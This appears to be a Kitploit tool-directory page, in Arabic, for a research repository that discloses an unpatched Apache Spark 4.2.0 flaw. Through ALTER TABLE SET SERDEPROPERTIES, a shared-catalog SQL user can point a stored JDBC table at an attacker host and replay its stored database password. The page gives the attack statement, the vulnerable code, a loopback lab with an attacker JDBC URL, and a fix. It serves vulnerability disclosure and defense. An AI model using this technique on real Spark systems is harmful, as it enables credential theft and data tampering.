Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
spark-jdbc-serde-url — Apache Spark 4.2.0 - عالي - عن بُعد - حقن JDBC URL - ALTER TABLE SET SERDEPROPERTIES | Kitploit
أدوات/GitHubGitHub/abraxas/spark-jdbc-serde-url
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالأوراق والأبحاثالفريق الأحمرأمن قواعد البياناتمختبرات وتدريب عملي
GitHubabraxas/spark-jdbc-serde-url

spark-jdbc-serde-url

Apache Spark 4.2.0 - عالي - عن بُعد - حقن JDBC URL - ALTER TABLE SET SERDEPROPERTIES

عرض المستودع
منذ 2 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Abraxas Labs - spark-jdbc-serde-url

abraxaslabs.tech  ·  github.com/abraxas  ·  @abraxas_null  ·  [email protected]  ·  spark-jdbc-serde-url

spark-jdbc-serde-url

الفئة: حقن JDBC URL الوصول: عن بُعد

Apache Spark 4.2.0 (32f72996) - Apache Software Foundation

SPARK-31710 أوقف الخيارات الإضافية وقت الفحص من تجاوز url المخزّن لـ JDBC. لا يزال ALTER TABLE SET SERDEPROPERTIES يُدمج في storage.properties، وهو خريطة خيارات فحص JDBC. إن user / password المخزّنين ليسا اسمَي خيار في Spark JDBC، لذا ينتقلان إلى الـ URL الجديد.

يمكن لمستخدم SQL على كتالوج مشترك إعادة توجيه جدول USING jdbc مُهيّأ من قِبل المشغّل وإعادة إرسال كلمة مرور قاعدة البيانات المخزّنة إلى مضيف يختاره.

المعرّفلا يوجد CVE بعد
الفئةحقن JDBC URL / إعادة استخدام بيانات اعتماد مخزّنة (بقايا SPARK-31710)
الوصولعن بُعد (Connect أو Hive Thrift SQL على كتالوج مشترك)
CWECWE-15، CWE-522
CVSSمرتفع: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
المنتجApache Spark
المتأثر4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) جداول SQL v1 JDBC
المصادقةمستخدم SQL على كتالوج مشترك (وليس jar لإرسال مهمة)
الترخيصGNU Affero GPL v3.0
المختبر127.0.0.1:18960 فقط

ما يمكن للمهاجم فعله

جلسة Connect gRPC SQL أو جلسة Hive Thrift SQL على externalCatalog مشترك يحتوي بالفعل على جدول USING jdbc دائم مع بيانات اعتماد مخزّنة. ليس مُرسِل مهمة. وليست الجلسة التي حدّدت الـ URL الأصلي.

الطريقةالمَصبّالصلاحية
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') ثم REFRESH TABLE t / SELECTstorage.properties ++ serdeProperties ثم JDBC Driver.connect(url, properties)السلامة: إعادة توجيه الجدول المُهيّأ إلى مستمع المهاجم. مُثبَت مختبريًا (connect=yes). السرّية: إعادة إرسال user / password المخزّنين لقاعدة البيانات على بدء تشغيل PostgreSQL والمصادقة النصية الصريحة. مُثبَت مختبريًا (user-replay=true password-replay=true). استطلاع السرّ عبر SHOW CREATE مغلق (مُخفّى).
نفس الاستمرار، ثم SELECT من مستأجر لاحق على tصف الكتالوج المشتركالسلامة، مُستنتَجة: استعلامات الجلسات الأخرى على t تصل الآن إلى الـ URL الجديد (قاعدة بيانات خاطئة، صفوف يتحكم بها المهاجم). التوفّر، مُستنتَج: قاعدة البيانات الأصلية غير قابلة للوصول حتى يعيد المسؤول ضبط serde. خارج النطاق بالنسبة لـ DoS.
مفاتيح serde إضافية (sessionInitStatement، prepareQuery، driver)خيارات الفحص على user / password المتبقّيينالسلامة، مُستنتَجة: عبارات إضافية أو مُنشئ بلا وسائط لـ Driver على مسار الفئة. لا تُضخّم إلى RCE دون أداة على مسار الفئة الافتراضي. لم يُختبر.
ALTER TABLE SET TBLPROPERTIESCatalogTable.properties فقطمغلق لهذا المسار. مُثبَت مختبريًا (storage url دون تغيير، لا إصابة في الـ oracle).
تعارض خيار url الإضافي وقت الفحصSPARK-31710 generateDatasourceOptionsمغلق. مُثبَت مختبريًا (extra-options-clash مرفوض).
spark.read.format("jdbc").option("url", ...) المحدّد من نفس الجلسةمستوى البيانات المقصودمُستبعَد. الـ URL الذي يتحكم به المالك ليس هذه البقايا.
SET SERDE '<class>' على جدول datasourceاسم الفئةمغلق (UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE). لم يُختبر.

مغلق مجاور: JDBC / مسارات الملفات المحدّدة من الجلسة. فحص التعارض spark.sql.legacy.extraOptionsBehavior. لا يمتلك OSS Spark قائمة externalOptionsAllowList الخاصة بـ Unity. الـ URL في CREATE TABLE يتحكم به المالك (ليس هذه البقايا). إخفاء سجلّ JDBC URL غير مشروط. path لجدول الملفات يقع في locationUri. اتصالات JDBCTableCatalog تأتي من إعداد كتالوج الجلسة (نفس مستوى البيانات كاختيار URL). pyspark أحادي المستخدم دون كتالوج مشترك خارج النموذج.

كيف وجدته

ثبّتُ Spark 4.2.0، لا master ولا 4.3 RC. إرسال المهام على عنقود مفتوح مقصود بالتصميم. البقايا المثيرة للاهتمام تقع بجوار إصلاحات مُسمّاة. يرفض SPARK-31710 / generateDatasourceOptions خيار url مختلفًا وقت الفحص لمفتاح serde موجود. يكتب SET TBLPROPERTIES في table.properties فقط. لا تزال جداول datasource تسمح بـ SET SERDEPROPERTIES وتُدمج في storage.properties (++، المفاتيح اللاحقة تفوز). لا يدخل user وpassword أبدًا إلى jdbcOptionNames، لذا يسلّمهما asConnectionProperties إلى Driver.connect.

properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)

يُخفي SHOW CREATE كلمة المرور password. لا يستطيع مستخدم SQL قراءة السرّ مرة أخرى. لكنه لا يزال قادرًا على استغلاله.

المنعطفات الخاطئة المسجّلة مسبقًا: اعتبار url في CREATE TABLE هو العلّة؛ إعادة تقديم تعارض الخيارات الإضافية؛ توقّع أن SET TBLPROPERTIES سيحرّك storage؛ الادّعاء بأن SHOW CREATE يسرّب كلمة المرور؛ تشغيل عنقود كامل بينما Scala المذكور أداة؛ صدفة عكسية. الـ oracle هو بدء تشغيل PostgreSQL مع مصادقة نصية صريحة على loopback.

المختبر

cd lab
./run.sh

Loopback 127.0.0.1:18960 هو مستمع بروتوكول PostgreSQL. صحة HTTP هي 127.0.0.1:18961. حاوية الأداة هي Temurin 21 مع libpostgresql-jdbc-java. الـ URL المخزّن هو jdbc:postgresql://127.0.0.1:1/provisioned (الاتصال مرفوض). الـ URL الهجومي هو jdbc:postgresql://oracle:18960/stolen. المستخدم المخزّن spark_jdbc. كلمة المرور المخزّنة stored-secret-SPARK-JDBC-SERDE-URL. اربطه بـ loopback.

SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS

الإصلاح

ارفض مفاتيح SET SERDEPROPERTIES التي تتعارض مع url / user / password المخزّنة لـ JDBC، وهو نفس الفحص الذي يشغّله generateDatasourceOptions بالفعل للخيارات الإضافية وقت الفحص. أو أسقط user / password المخزّنين عند تغيّر url. أو عامل serde الخاص بـ datasource JDBC كخصائص جدول، لا كـ storage. حتى ذلك الحين، لا تمنح SQL غير الموثوق ALTER TABLE على جدول USING jdbc دائم يخزّن كلمة مرور.

المراجع

تنزيل الأداة